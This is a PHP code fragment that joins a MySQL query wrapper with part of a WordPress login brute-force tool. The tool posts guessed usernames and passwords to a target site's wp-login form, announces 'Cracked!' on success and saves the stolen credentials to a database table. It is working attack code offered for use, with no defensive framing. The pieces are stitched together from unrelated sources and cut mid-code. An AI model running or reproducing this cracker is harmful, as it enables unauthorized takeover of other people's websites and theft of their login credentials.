function query($sql, $type = '', $expires = 0, $save_id = false, $check = true) { if ($check) { $sql = checksql($sql); } if ($type == 'CACHE' && stristr($sql, 'SELECT')) { $this->cursor = 0; $this->cache_id = md5($sql); $this->result = array(); $this->cache_expires = $expires ? $expires + mt_rand(-9, 9) : $this->expires; return $this->_query($sql); } if (!$save_id) { $this->cache_id = 0; } $func = $type == 'UNBUFFERED' ? 'mysql_unbuffered_query' : 'mysql_query'; if (!($query = $func($sql, $this->connid)) && $this->halt) { $this->halt('MySQL Query Error', $sql); } $this->querynum++; return $query; }
curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1"); $login = curl_exec($ch); if (eregi("profile.php", $login)) { $hxd = 1; echo "<p>" . $host . " - Cracked! Username - <font color='#990000'>" . $username . "</font> & Password : <font color='#990000'>" . $password . "</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($host) . ":80', '" . mysql_escape_string($username) . ":" . mysql_escape_string($password) . "')", $conn); ob_flush(); flush(); break; } } if ($hxd == 1) { break; } } if ($hxd == 0) { echo "<p>" . $host . " - <font color='#990000'>Failed</font></p>"; ob_flush(); flush(); } } echo '</div></div>'; } else { echo "<h2><font color='#990000'>All fields are required!</font></h3>"; } } mysqli_close($conn); } //Startups checksql();